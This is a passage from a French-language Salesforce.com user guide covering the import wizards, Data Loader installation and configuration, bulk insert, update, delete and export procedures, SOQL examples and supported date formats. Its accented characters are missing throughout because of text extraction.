dans une colonne d'ID de solution principale de votre fichier d'importation. Vous vitez ainsi d'avoir associer manuellement
les solutions traduites leurs solutions principales aprs l'importation. Pour afficher le champ ID de solution des
solutions principales, excutez le rapport des solutions traduites.
2. Slectionnez la langue des solutions importer dans la liste droulante des langues. Vous ne pouvez slectionner qu'une
langue pour chaque importation. Assurez-vous donc que le fichier d'importation comprend des solutions dans une seule
langue.
Empcher les enregistrements en double
1. L'assistant d'importation peut comparer les enregistrements de votre fichier d'importation et ceux existant dans Salesforce.com
pour empcher la cration d'enregistrements en double la suite de votre importation. Indiquez si vous voulez empcher
la cration d'enregistrements en double. Vous devez slectionner Oui afin de mettre les enregistrements existants jour.
2. Si vous choisissez Oui, les choix supplmentaires suivants apparaissent :

Slectionnez le champ que vous utilisez pour faire correspondre les enregistrements existants dans Salesforce.com avec
les enregistrements de votre fichier d'importation. L'option ID externe est dsactive si aucun champ ID externe
n'a t cr pour vos enregistrements.
Choisissez ce que vous voulez faire si des correspondances sont trouves : n'importer que les nouveaux enregistrements,
mettre uniquement jour les enregistrements existants ou mettre jour les enregistrements existants et en importer de
nouveaux.
Remarque: Si vous avez choisi la correspondance par ID Salesforce.com, vous pouvez uniquement mettre
jour les enregistrements existants. Vous ne pouvez pas en importer de nouveaux.

3. Cliquez sur Suivant.

Spcifier des relations auteur et recherche
1. Les solutions sont associes leurs auteurs, c'est--dire les utilisateurs qui ont les cres. Si vous avez inclus une colonne
dans votre fichier d'importation pour identifier les auteurs, spcifiez le champ d'utilisateur qu'il contient.
Pour le choix du nom, les formats suivants sont valides :

Prnom suivi du nom

Nom suivi du prnom
Alias
Nom d'utilisateur

Choisissez Aucune pour vous identifier comme l'auteur des solutions importes.
2. Les enregistrements peuvent avoir des champs personnaliss qui crent des relations de recherche avec d'autres
enregistrements. Si vous avez inclus des champs de recherche dans votre fichier d'importation, cochez les cases
correspondantes.
Remarque: Tout enregistrement associ doit dj exister dans Salesforce.com avant que vous puissiez poursuivre.
Les enregistrements associs ne seront pas mis jour au cours de votre importation mme si votre fichier
d'importation contient des valeurs de champ diffrentes sur ces enregistrements associs.
3. Cliquez sur Suivant.
Dfinir une correspondance d'enregistrement de recherche
1. Si vous avez slectionn un ou plusieurs champs de recherche lors de l'tape prcdente, slectionnez le champ (nom ou
ID) que vous utilisez pour identifier de manire unique ces enregistrements associs.

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 304

2. Cliquez sur Suivant.

Slectionner un type d'enregistrement
1. Si les enregistrements que vous importez ont des types d'enregistrement, choisissez le type d'enregistrement que vous
souhaitez attribuer aux enregistrements de votre fichier d'importation.
2. Si vous insrez de nouveaux enregistrements et si vous mettez jour des enregistrements existants en mme temps, indiquez
si vous souhaitez remplacer les types des enregistrements existants.
3. Cliquez sur Suivant.
Tlcharger votre fichier d'importation
1. Cliquez sur Parcourir pour dterminer l'emplacement de votre fichier d'importation.
2. Slectionnez ensuite le codage de caractres du fichier d'importation. Dans la plupart des cas, vous pouvez accepter la valeur
par dfaut.
3. Dfinissez des paramtres supplmentaires en fonction de la configuration de votre organisation. Par exemple, vous pouvez
dterminer si vous souhaitez dclencher les rgles de workflow et dfinir la langue des enregistrements dans le fichier
d'importation.
4. Cliquez sur Suivant.
Mapper des champs
1. Mappez les champs de votre fichier d'importation avec les champs Salesforce.com appropris en faisant correspondre les
champs sur la gauche, ce qui inclut toutes les colonnes de votre fichier d'importation, avec les champs Salesforce.com
correspondants sur la droite.
2. Si les tiquettes de colonne de votre fichier d'importation correspondent exactement aux tiquettes de champ dans
Salesforce.com, l'assistant mappe automatiquement ces champs. Toutefois, si au moins deux tiquettes de colonne de votre
fichier correspondent exactement un champ de Salesforce.com, vous devez mapper les champs manuellement.
Remarque: Certains champs Salesforce.com ne peuvent pas tre mis jour l'aide d'une importation. C'est le cas
notamment des champs Date de cration et Date de la dernire modification. Par consquent,
mme si vous utilisez un rapport export comme fichier d'importation, certains champs Salesforce.com de votre
fichier ne peuvent pas tre mapps.
3. Cliquez sur Suivant. L'assistant d'importation vous avertit si vous n'avez pas mapp tous les champs dans votre fichier
d'importation. Les champs non mapps ne sont pas imports.
Confirmer et soumettre votre importation
1. Lisez tous les messages d'avertissement que l'assistant d'importation affiche. Si vous le souhaitez, cliquez sur Prcdent
pour revenir aux tapes prcdentes et rsoudre les problmes ventuels.
2. Cliquez sur Importer maintenant ! pour soumettre votre demande d'importation Salesforce.com.
Terminer votre importation
1. Un message indique la dure approximative de l'importation. la fin de l'importation, un message du support client sera
envoy l'adresse e-mail affiche.
2. Cliquez sur Terminer pour terminer les tapes de l'assistant.

Gestion des donnes

Guide de l'utilisateur | Annulation d'une importation | 305

3. Pour contrler le statut de votre importation en attente, consultez la file d'attente d'importation. Reportez-vous Utilisation
de la file d'attente d'importation la page 321.

Voir aussi :
Accs aux assistants d'importation

Annulation d'une importation

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour supprimer en masse les donnes :

Modifier toutes les donnes

Si vous importez des comptes, des contacts, des pistes ou des solutions par erreur, votre administrateur supprime ces lments
en cliquant sur Configuration Gestion des donnes Supprimer des enregistrements en masse.
Les outils Supprimer des enregistrements en masse ne prennent pas en charge les objets personnaliss. Si vous importez des
objets personnaliss par erreur dans Enterprise Edition, Unlimited Edition ou Developer Edition, l'administrateur utilise le
module Data Loader pour supprimer en masse ces enregistrements. Reportez-vous Excution de suppressions en masse la
page 312.

Prsentation de Data Loader

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Data Loader est une application client destine l'importation ou l'exportation en masse de donnes. Permet d'insrer, de
mettre jour, de supprimer ou d'extraire des enregistrements Salesforce.com.
Lors de l'importation de donnes, le chargeur de donnes lit, extrait et charge les donnes partir de fichiers de valeurs spares
par des virgules (CSV). Lors de l'exportation de donnes, il cre des fichiers CSV.
Remarque: Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre sparateur.

Le module Data Loader possde les fonctions-cls suivantes :

Interface conviviale
Interface de ligne de commande de substitution
Une interface en mode de traitement par lots avec connectivit la base de donnes
Prise en charge de fichiers volumineux pouvant contenir des millions de lignes
Mappage des champs par glisser-dplacer
Prise en charge de tous les objets, y compris les objets personnaliss

Gestion des donnes

Guide de l'utilisateur | Conditions d'utilisation du module Data Loader | 306

Fichiers journaux de russite et d'erreur dtaills au format CSV

Visionneuse de fichier CSV intgre
Pris en charge sur Windows 2000 et Windows XP

Pour commencer, reportez-vous aux rubriques suivantes :

Installation du module Data Loader

Conditions d'utilisation du module Data Loader

Une fois le chargeur de donnes install, consultez les rubriques suivantes :

Configuration du module Data Loader

Insertion, mise jour ou suppression de donnes
Exportation de donnes
Utilisation de l'interface de ligne de commande
Remarque: Dans les versions antrieures, le module Data Loader tait appel module Data Loader d'AppExchange
et module Data Loader de Sforce .

Conditions d'utilisation du module Data Loader

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Le module Data Loader vient en complment des assistants d'importation Web accessibles partir du menu Configuration
de l'application en ligne. Reportez-vous aux instructions suivantes pour dterminer la meilleure mthode d'importation en
fonction des besoins de votre entreprise :
Utilisez le module Data Loader quand :

Vous devez charger 50 000 enregistrements ou plus.

Vous devez procder au chargement dans un objet non pris en charge par l'importation Web.
Vous voulez planifier des chargements de donnes rguliers, tels que des importations de nuit.
Vous voulez enregistrer plusieurs fichiers de mappage en vue d'une utilisation ultrieure.
Vous voulez exporter des donnes des fins de sauvegarde.

Utilisez l'importation Web quand :

Vous devez charger moins de 50 000 enregistrements.

L'objet importer est pris en charge par les assistants d'importation Web.
Vous voulez viter tout risque d'enregistrement en double en tlchargeant des enregistrements sur la base du nom et du
site du compte, de l'adresse e-mail du contact ou de l'adresse e-mail de la piste.

Gestion des donnes

Guide de l'utilisateur | Installation du module Data Loader | 307

Installation du module Data Loader

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour accder la page de tlchargement du module Data
Loader :

Modifier toutes les donnes

Pour utiliser le module Data Loader :

Autorisation utilisateur approprie pour l'opration effectue

(par exemple, autorisation Crer sur les comptes pour insrer
de nouveaux comptes)

Configuration minimale requise

Voici la configuration minimale requise pour utiliser Data Loader :

Windows 2000 ou Windows XP.

Vous pouvez excuter les assistants de Data Loader ou bien excuter l'application partir de la ligne de commande.

90 Mo d'espace disque disponible.

256 Mo de mmoire disponible.
Java JRE 1.5 ou ultrieure.

Procdure d'installation
ATTENTION: Au fil des ans, plusieurs versions de l'application client Data Loader ont t mises disposition pour
tlchargement. Les diffrentes versions donnent lieu diffrentes entres dans la bote de dialogue Ajout/Suppression
de programmes du Panneau de configuration de Windows. Certaines versions ont t publies sous d'anciens noms
de produit comme AppExchange Data Loader ou Sforce Data Loader . Vous pouvez excuter diffrentes versions
simultanment sur un mme ordinateur. Toutefois, si une version particulire est installe sur votre ordinateur, ne la
rinstallez pas.
La dernire version est toujours disponible dans Salesforce.com via Configuration Gestion des donnes Data
Loader. Si vous avez dj install la dernire version et que vous voulez la rinstaller, supprimez-la d'abord de votre
ordinateur en utilisant la bote de dialogue Ajout/Suppression de programmes dans le panneau de configuration
Windows.
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Dans l'application en ligne, cliquez sur Configuration Gestion des donnes Data Loader.
Cliquez sur Tlcharger le module Data Loader et enregistrez le programme d'installation sur votre PC.
Double-cliquez sur le fichier tlcharg pour dmarrer l'assistant InstallShield.
Cliquez sur Suivant.
Acceptez le contrat de licence, puis cliquez sur Suivant.
Acceptez le rpertoire d'installation par dfaut ou cliquez sur Changer pour choisir un autre rpertoire. Cliquez sur Suivant.
Cliquez sur Installation.
Cliquez sur Terminer.
Pour dmarrer le module Data Loader, double-cliquez sur l'icne Data Loader de votre bureau, ou slectionnez Dmarrer
Tous les programmes salesforce.com Data Loader Data Loader.

Gestion des donnes

Guide de l'utilisateur | Configuration du module Data Loader | 308

Conseil:
Si vous rencontrez des problmes de connexion l'interface de ligne de commande aprs la mise niveau vers une
nouvelle version du module Data Loader, essayez de crypter nouveau votre mot de passe pour rsoudre le problme.
Connexion Data Loader
Lors de la connexion depuis une adresse IP que vous n'avez jamais utilise pour accder Salesforce.com, votre accs est bloqu
jusqu' l'activation de votre adresse IP actuelle. Salesforce.com envoie automatiquement un e-mail d'activation l'adresse
e-mail de votre enregistrement d'utilisateur Salesforce.com. Cet e-mail contient une cl de scurit gnre automatiquement
que vous devez ajouter la fin de votre mot de passe pour pouvoir vous connecter. Par exemple, si votre mot de passe est
monmotdepasse et que votre jeton de scurit est XXXXXXXXXX, vous devez saisir monmotdepasseXXXXXXXXXX pour
vous connecter. Pour plus d'informations, reportez-vous Configuration des restrictions de connexion la page 144.

Configuration du module Data Loader

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Vous pouvez galement utiliser le menu Paramtres pour modifier les paramtres de fonctionnement par dfaut du module
Data Loader.
1. Choisissez Paramtres Paramtres.
2. Modifiez les champs, si ncessaire :
Champ

Description

Batch Size

Lors d'une seule opration d'insertion, de mise jour, de

mise jour/insertion ou de suppression, les enregistrements
transitant depuis ou vers Salesforce.com seront traits par
incrments de la taille dfinie. La valeur maximale est de 200.
Nous vous recommandons de choisir une valeur comprise
entre 50 et 100.

Insert Null Values

Activez cette option afin d'insrer des valeurs mappes vides

en tant que valeurs nulles au cours des oprations sur les
donnes. Si vous mettez jour des enregistrements, cette
option indiquera au module Data Loader d'craser les
donnes existantes dans les champs mapps.

Assignment Rule

Indiquez l'ID de la rgle d'attribution utiliser pour les

insertions, les mises jour et les mises jour/insertions
(upsert). Cette option s'applique aux insertions, mises jour
et mises jour/insertions (upsert) effectues sur les requtes
et les pistes. Elle s'applique galement aux mises jour des
comptes si votre entreprise dispose de rgles d'attribution
de territoire sur les comptes. La rgle d'attribution remplace
les valeurs de responsable dans votre fichier CSV.

Server Host

Saisissez l'URL du serveur Salesforce.com avec lequel vous

souhaitez communiquer. Par exemple, si vous effectuez un

Gestion des donnes

Champ

Guide de l'utilisateur | Configuration du module Data Loader | 309

Description
chargement vers une version test Sandbox, changez l'URL
de faon approprie.

Rinitialisez l'URL la connexion

Par dfaut, Salesforce.com rinitialise l'URL une fois

connect celle spcifie dans Server Host. Pour
dsactiver cette rinitialisation automatique, dsactivez cette
option.

Compression

La compression amliore les performances du module Data

Loader. Elle est active par dfaut. Vous pouvez dsactiver
la compression si vous devez dboguer les messages SOAP
sous-jacents. Pour dsactiver la compression, cliquez sur
cette option.

Timeout

Spcifiez le temps d'attente, en secondes, avant que le module

Data Loader reoive une rponse du serveur.

Query Request Size

En une seule opration d'exportation ou d'interrogation, les

enregistrements seront renvoys de Salesforce.com par
incrments de cette taille. La valeur maximale autorise est
2 000. Les valeurs suprieures peuvent amliorer les
performances, mais utilisent plus de mmoire sur le client.

Generate success files for exports

Slectionnez cette option pour gnrer un fichier de russite

lors de l'exportation de donnes.

Read all CSVs with UTF-8 encoding

Cette option force l'ouverture des fichiers en codage UTF-8,

mme s'ils ont t enregistrs dans un autre format.

Write all CSVs with UTF-8 encoding

Cette option force l'criture des fichiers en codage UTF-8.

Use European Date Format

Slectionnez cette option pour prendre en charge les formats

de date jj/MM/aaaa et jj/MM/aaaa HH:mm:ss.

Autoriser la troncation des champs

Slectionnez cette option pour inviter le Chargeur de

donnes tronquer les donnes dans les types de champs
suivants lors du chargement des donnes dans
Salesforce.com : E-mail, Liste de slection (slection
multiple), Tlphone, Liste de slection, Texte et Texte
(crypt).
Dans les versions 14.0 et suprieures de Data Loader, les
valeurs des champs de ce type sont tronques si elles sont
trop longues. Dans les versions 15.0 et suprieures de Data
Loader, l'opration de chargement choue si une valeur
spcifie est trop longue.
Cette option permet d'utiliser le comportement prcdent
(la troncation) la place du nouveau comportement dans les
versions 15.0 et suprieures de Data Loader. Cette option
est slectionne par dfaut et n'a aucun effet sur les versions
14.0 et antrieures.

Gestion des donnes

Champ

Guide de l'utilisateur | Configuration du module Data Loader | 310

Description

Utiliser l'API en masse pour Insrer, Mettre Slectionnez cette option pour utiliser l'API en masse afin
jour et Mettre jour/Insrer (Upsert)
d'insrer, de mettre jour et de mettre jour/insrer des

enregistrements. L'API en masse est optimise pour le

chargement asynchrone d'un grand nombre
d'enregistrements. Elle est plus rapide que l'API base sur
SOAP en raison d'un traitement parallle et d'un nombre
de passages infrieur sur le rseau.
Activer le mode srie pour l'API en masse

Slectionnez cette option pour utiliser le mode srie la

place du traitement parallle pour l'API en masse. Le
traitement en parallle peut entraner un conflit avec la base
de donnes. En cas de conflit svre, le chargement risque
d'chouer. L'utilisation du mode srie garantit un traitement
individuel des lots. Notez que cette option peut augmenter
considrablement les dlais de traitement d'un chargement.
Cette option est approprie uniquement si l'option
Utiliser l'API en masse pour Insrer, Mettre
jour et Mettre jour/Insrer (Upsert) est

slectionne.
Proxy Host

Nom d'hte du serveur proxy, le cas chant.

Proxy Port

Port du serveur proxy.

Proxy Username

Nom d'utilisateur employ pour l'authentification du serveur

proxy.

Proxy Password

Mot de passe employ pour l'authentification du serveur

proxy.

Proxy NTLM domain

Nom du domaine Windows utilis pour

l'authentification NTLM.

Start at row

En cas d'chec de la dernire opration, utilisez ce paramtre

pour commencer l'endroit o s'est arrte la dernire
opration russie.

3. Cliquez sur OK pour enregistrer vos paramtres.

Gestion des donnes

Guide de l'utilisateur | Insertion, mise jour ou suppression de donnes | 311

Insertion, mise jour ou suppression de donnes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour insrer des enregistrements :

Autorisation de cration sur l'enregistrement

Pour mettre jour des enregistrements :

Autorisation de modification sur l'enregistrement

Pour mettre jour/insrer (upsert) des enregistrements :

Crer ou modifier sur l'enregistrement

Pour supprimer des enregistrements :

Autorisation de suppression sur l'enregistrement

Les assistants d'insertion, de mise jour, de mise jour/insertion (upsert) et de suppression vous permettent d'ajouter de
nouveaux enregistrements, et de modifier ou de supprimer des enregistrements existants. Notez que upsert combine
l'insertion et la mise jour. Ainsi, si un enregistrement de votre fichier correspond un enregistrement existant, ce dernier est
mis jour l'aide des valeurs contenues dans le fichier. En l'absence de correspondance, un nouvel enregistrement est cr.
1. Dmarrez le module Data Loader en choisissant Dmarrer Programmes salesforce.com Data Loader Data
Loader.
2. Cliquez sur Insrer, Mettre jour, Mettre jour/Insrer (upsert) ou Supprimer. Ces commandes sont galement
disponibles dans le menu File.
3. Saisissez vos nom d'utilisateur et mot de passe Salesforce.com. Cliquez sur Connexion. Une fois la connexion tablie,
cliquez sur Suivant (Vous n'avez pas fournir de nouveau les informations de connexion, sauf en cas de dconnexion ou
de fermeture du programme.)
Lors de la connexion depuis une adresse IP que vous n'avez jamais utilise pour accder Salesforce.com, votre accs est
bloqu jusqu' l'activation de votre adresse IP actuelle. Salesforce.com envoie automatiquement un e-mail d'activation
l'adresse e-mail de votre enregistrement d'utilisateur Salesforce.com. Cet e-mail contient une cl de scurit gnre
automatiquement que vous devez ajouter la fin de votre mot de passe pour pouvoir vous connecter. Par exemple, si votre
mot de passe est monmotdepasse et que votre jeton de scurit est XXXXXXXXXX, vous devez saisir
monmotdepasseXXXXXXXXXX pour vous connecter. Pour plus d'informations, reportez-vous Configuration des
restrictions de connexion la page 144.
4. Choisissez un objet. Si le nom de l'objet ne s'affiche pas dans la liste par dfaut, cochez la case Afficher tous les
objets pour visualiser la liste complte des objets disponibles. Les objets sont rpertoris par nom d'tiquette localis,
avec le nom du dveloppeur entre parenthses. Pour obtenir la description des objets, reportez-vous au guide Force.com
Web Services Developers Guide.
5. Cliquez sur Parcourir... pour slectionner le fichier CSV.
6. Cliquez sur Suivant. Une fois l'objet et le fichier CSV initialiss, cliquez sur OK.
7. Si vous procdez une mise jour/insertion (upsert) :
a. Votre fichier CSV doit contenir une colonne de valeurs ID mettre en correspondance avec les enregistrements existants.
Cette colonne peut tre un ID externe (champ personnalis avec l'attribut ID externe ) ou un ID (ID d'enregistrement
Salesforce.com). Dans la liste droulante, slectionnez le champ utiliser pour la mise en correspondance. Si l'objet ne
comporte pas de champ d'ID externe, le champ Id sera automatiquement utilis. Pour plus d'informations sur les ID
externes, reportez-vous Attributs de champ personnalis la page 397. Cliquez sur Suivant pour continuer.

Gestion des donnes

Guide de l'utilisateur | Insertion, mise jour ou suppression de donnes | 312

b. Si votre fichier contient l'ID externe d'un objet li l'objet que vous avez choisi, activez cet ID externe pour la mise en
correspondance des enregistrements en slectionnant son nom dans la liste droulante. Si vous ne slectionnez aucun
lment ce stade, vous pouvez utiliser le champ Id de l'objet associ pour la mise en correspondance, en le mappant
l'tape suivante. Cliquez sur Suivant pour continuer.
8. Dfinissez comment les colonnes de votre fichier CSV sont mappes avec les champs Salesforce.com. Cliquez sur l'option
de slection d'un mappage existant, ou sur l'option de cration ou de modification d'un mappage existant. Pour plus
d'informations, reportez-vous Dfinition des mappages de champs la page 316.
9. Cliquez sur Suivant.
10. Pour chaque opration, le module Data Loader gnre deux fichiers journaux CSV : le nom du premier commence par
success , tandis que celui du second commence par error . Cliquez sur Parcourir... pour dfinir le rpertoire de ces
fichiers.
11. Cliquez sur Terminer pour excuter l'opration, puis cliquez sur Oui pour confirmer.
12. Au cours de l'opration, une fentre d'informations indique la progression du dplacement des donnes.
13. la fin de l'opration, une fentre de confirmation rcapitule les rsultats. Cliquez sur Afficher les russites pour afficher
le fichier de russite, sur Afficher les erreurs pour ouvrir le fichier d'erreurs ou sur OK pour fermer la fentre. Pour plus
d'informations, reportez-vous Vrification des fichiers de sortie la page 317.
Conseil: Si vous mettez jour ou supprimez de grandes quantits de donnes, consultez les sections Excution de
mises jour en masse et Excution de suppressions en masse pour obtenir des conseils et connatre les meilleures
pratiques en la matire.

Excution de mises jour en masse

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Pour mettre jour simultanment un nombre important d'enregistrements, effectuez les tapes suivantes :
1. Rcuprez les donnes en exportant les objets mettre jour ou en excutant un rapport. Consultez Exportation des
donnes la page 313, ou Excution des rapports la page 1711. Assurez-vous que le rapport contient l'ID d'enregistrement.
2. des fins de sauvegarde, enregistrez une copie du fichier CSV gnr.
3. Ouvrez le fichier de travail dans un diteur de fichiers CSV, tel qu'Excel, puis mettez jour les donnes.
4. Dmarrez le module Data Loader et suivez la procdure de l'assistant de mise jour. La correspondance se base sur l'ID
d'enregistrement. Reportez-vous Insertion, mise jour ou suppression de donnes la page 311.
5. Une fois l'opration termine, vrifiez les fichiers journaux de russite et d'erreur. Reportez-vous Vrification des fichiers
de sortie la page 317.
6. Si vous avez fait une erreur, utilisez le fichier de sauvegarde pour rtablir les valeurs prcdentes des enregistrements.

Excution de suppressions en masse

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Pour supprimer simultanment de nombreux enregistrements en utilisant le module Data Loader, suivez les tapes ci-aprs :

Gestion des donnes

Guide de l'utilisateur | Exportation de donnes | 313

1. des fins de sauvegarde, exportez les objets supprimer en veillant slectionner tous les champs. (Reportez-vous
Exportation de donnes la page 313.) Enregistrez une copie supplmentaire du fichier CSV gnr.
2. Ensuite, exportez les objets supprimer. N'utilisez que l'ID d'enregistrement comme critre.
3. Dmarrez le module Data Loader et suivez la procdure de l'assistant de suppression. Faites correspondre uniquement la
colonne ID. Reportez-vous Insertion, mise jour ou suppression de donnes la page 311.
4. Une fois l'opration termine, vrifiez les fichiers journaux de russite et d'erreur. Reportez-vous Vrification des fichiers
de sortie la page 317.

Exportation de donnes
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour exporter des enregistrements :

Autorisation de lecture sur les enregistrements

Vous pouvez utiliser l'assistant d'exportation du module Data Loader pour extraire les donnes de tout objet Salesforce.com.
1. Dmarrez le module Data Loader en choisissant Dmarrer Programmes salesforce.com Data Loader Data
Loader.
2. Cliquez sur Exporter. Cette commande est galement disponible dans le menu Fichier.
3. Saisissez vos nom d'utilisateur et mot de passe Salesforce.com. Cliquez sur Connexion. Une fois la connexion tablie,
cliquez sur Suivant (vous n'avez pas fournir de nouveau les informations de connexion, sauf en cas de dconnexion ou
de fermeture du programme).
Lors de la connexion depuis une adresse IP que vous n'avez jamais utilise pour accder Salesforce.com, votre accs est
bloqu jusqu' l'activation de votre adresse IP actuelle. Salesforce.com envoie automatiquement un e-mail d'activation
l'adresse e-mail de votre enregistrement d'utilisateur Salesforce.com. Cet e-mail contient une cl de scurit gnre
automatiquement que vous devez ajouter la fin de votre mot de passe pour pouvoir vous connecter. Par exemple, si votre
mot de passe est monmotdepasse et que votre jeton de scurit est XXXXXXXXXX, vous devez saisir
monmotdepasseXXXXXXXXXX pour vous connecter. Pour plus d'informations, reportez-vous Configuration des
restrictions de connexion la page 144.
4. Choisissez un objet. Si le nom de l'objet ne s'affiche pas dans la liste par dfaut, cochez la case Afficher tous les
objets pour visualiser la liste complte des objets disponibles. Les objets sont rpertoris par nom d'tiquette localis,
avec le nom du dveloppeur entre parenthses. Pour obtenir la description des objets, reportez-vous au guide Force.com
Web Services Developers Guide.
5. Cliquez sur Parcourir pour slectionner le fichier CSV vers lequel les donnes sont exportes. Vous pouvez saisir un nouveau
nom de fichier pour crer votre fichier ou choisir un fichier existant.
Si vous slectionnez un fichier existant, le contenu de ce fichier est remplac. Cliquez sur Oui pour confirmer cette action
ou sur Non pour choisir un autre fichier.
6. Cliquez sur Suivant.
7. Crez une requte SOQL pour l'exportation des donnes. Le langage de requte SOQL (Sforce Object Query Language)
Salesforce.com vous permet d'laborer des chanes de requte la fois simples et puissantes. Comme la commande SELECT
du langage SQL, SOQL vous permet d'indiquer l'objet source (un compte, par exemple), la liste des champs extraire et
les conditions de slection des lignes dans l'objet source.

Gestion des donnes

Guide de l'utilisateur | Types de donnes pris en charge par le module Data Loader | 314

a. Slectionnez les champs exporter.

b. Slectionnez ventuellement les conditions de filtrage de l'ensemble de donnes. Si vous ne slectionnez aucune condition,
toutes les donnes sur lesquelles vous disposez d'un accs en lecture seront renvoyes.
c. Passez en revue la requte gnre et apportez des modifications, si ncessaire.
Conseil: Vous pouvez utiliser une requte relationnelle SOQL pour inclure des champs depuis un objet associ.
Par exemple :
Slectionnez Name, Pricebook2Id, Pricebook2.Name, Product2Id, Product2.ProductCode
PARTIR DE PricebookEntry O IsActive = True

Ou :
Slectionnez Id, LastName, Account.Name PARTIR DE Contact

Quand vous utilisez des requtes de relation dans le module Data Loader, les noms de champ entirement indiqus
respectent la casse. Dans l'exemple ci-dessus, l'utilisation de ACCOUNT.NAME au lieu de Account.Name ne
fonctionne pas.
Le chargeur de donnes ne prend pas en charge les requtes imbriques, ni les requtes sur les objets enfants. Par
exemple, les requtes de ce type retournent une erreur :
SELECT Amount, Id, Name, (SELECT Quantity, ListPrice, PriceBookEntry.UnitPrice,
PricebookEntry.Name, PricebookEntry.product2.Family FROM OpportunityLineItems) FROM
Opportunity

Le chargeur de donnes prend en charge les requtes sur les parents. Vous pouvez, par exemple, demander l'ID
des enregistrements de compte qui sont parents des enregistrements de contact :
SELECT , Id, Account.Id, CreatedById from Contact

Pour plus d'informations sur SOQL, reportez-vous au manuel Force.com Web Services Developer's Guide.
8. Cliquez sur Terminer, puis sur Oui pour confirmer votre choix.
9. Au cours de l'opration, une fentre d'informations indique la progression du dplacement des donnes.
10. la fin de l'opration, une fentre de confirmation rcapitule les rsultats. Cliquez sur l'option d'affichage de l'extraction
pour visualiser le fichier CSV ou sur OK pour fermer la fentre. Pour plus d'informations, reportez-vous Vrification
des fichiers de sortie la page 317.
Remarque: Actuellement, le module Data Loader ne prend pas en charge l'extraction des pices jointes. Nous vous
recommandons, comme solution de rechange, d'utiliser la fonction d'exportation hebdomadaire de l'application en
ligne pour exporter les pices jointes.

Types de donnes pris en charge par le module Data Loader

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Le module Data Loader prend en charge les types de donnes suivants :

Gestion des donnes

Guide de l'utilisateur | Types de donnes pris en charge par le module Data Loader | 315

Base64
Chemin du fichier (convertit le fichier en base64)
Boolen

Valeurs True (ne respectent pas la casse) = yes , y , true , on , 1

Valeurs False (ne respectent pas la casse) = no , n , false , off , 0

Formats de date
Nous vous recommandons de saisir les dates au format yyyy-MM-ddTHH:mm:ss.SSS+/-HHmm :

aaaa reprsente l'anne code sur quatre chiffres ;

MM reprsente le mois cod sur deux chiffres (01-12) ;
jj reprsente le jour cod sur deux chiffres (01-31) ;
HH reprsente l'heure code sur deux chiffres (00-23) ;
mm reprsente les minutes codes sur deux chiffres (00-59) ;
ss reprsente les secondes codes sur deux chiffres (00-59) ;
SSS reprsente les millisecondes codes sur trois chiffres (000-999) ;
+/-HHmm reprsente le dcalage par rapport au mridien de Greenwich (temps universel coordonn).

Les formats de date suivants sont galement pris en charge :

aaaa-MM-jj'T'HH:mm:ss.SSS'Z'
aaaa-MM-jj'T'HH:mm:ss.SSS (heure du Pacifique)
aaaa-MM-jj'T'HH:mm:ss.SSS(heure du Pacifique)
aaaa-MM-jj'T'HH:mm:ss.SSS (HNP)
aaaa-MM-jj'T'HH:mm:ss.SSS(HNP)
aaaa-MM-jj'T'HH:mm:ss.SSS GMT-08:00
aaaa-MM-jj'T'HH:mm:ss.SSSGMT-08:00
aaaa-MM-jj'T'HH:mm:ss.SSS-800
aaaa-MM-jj'T'HH:mm:ss.SSS-800
aaaa-MM-jj'T'HH:mm:ss
aaaa-MM-jj HH:mm:ss
aaaaMMjj'T'HH:mm:ss
aaaa-MM-jj
MM/jj/aaaa HH:mm:ss
MM/jj/aaaa

Notez les conseils suivants relatifs aux formats de date :

Pour activer les formats de date qui commencent par le jour plutt que le mois, slectionnez la case Utiliser le
format de date europen dans la bote de dialogue Paramtres de l'interface utilisateur. Ces formats de date
europens sont dd/MM/yyyy et dd/MM/yyyy HH:mm:ss.
Si le fuseau horaire paramtr sur votre ordinateur se situe l'est du mridien de Greenwich, dfinissez ce dernier
comme fuseau horaire local afin d'viter tout ajustement de date lors de l'insertion ou de la mise jour d'enregistrements.
Pour plus d'informations, reportez-vous la base de connaissances accessible via la fentre Aide & formation de
Salesforce.com. Accdez la rubrique consacre la date Data Loader (data loader date).

Gestion des donnes

Guide de l'utilisateur | Dfinition des mappages de champs | 316

Seules les dates d'une certaine plage sont valides. La date valide la plus ancienne est le 01/01/1700 00:00:00 GMT,
soit juste aprs minuit, le 1er janvier 1700. La date valide la plus loigne dans l'avenir est le 31/12/4000 00:00:00
GMT, soit juste aprs minuit, le 31 dcembre 4000.
Remarque: Ces valeurs sont dcales en fonction de votre fuseau horaire. Par exemple, dans le fuseau horaire
Pacifique, la date valide la plus ancienne est le 31/12/1699 16:00:00 soit 16h00, le 31 dcembre 1699.

Double
Chane double standard
ID
Un ID Salesforce.com se compose d'une chane de 15 ou de 18 caractres alphanumriques respectant la casse. Il permet
d'identifier un enregistrement de faon unique.
Conseil: Pour garantir la qualit des donnes, veillez appliquer la casse adquate tous les ID Salesforce.com
que vous entrez dans le module Data Loader.

Entier
Chane d'entier standard
Chane
Toute chane XML valide. Les caractres XML non valides sont supprims.

Dfinition des mappages de champs

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Dans la fentre de mappage du module Data Loader, vous associez les champs Salesforce.com aux colonnes du fichier CSV.
1. Pour faire correspondre automatiquement les champs et les colonnes, cliquez sur Correspondance auto. champs/colonnes.
Le module Data Loader gnre automatiquement la liste au bas de la fentre en fonction de la similarit entre les noms
de champ et de colonne. Remarque : pour une opration de suppression, la correspondance automatique ne fonctionne
qu'avec le champ ID.
2. Pour faire correspondre manuellement les champs et les colonnes, cliquez sur les champs de la liste de Salesforce.com du
haut, puis faites-les glisser vers la liste des noms d'en-tte de colonne CSV du bas.
3. Cliquez ventuellement sur Enregistrer le mappage pour enregistrer le mappage en vue d'une utilisation ultrieure. Spcifiez
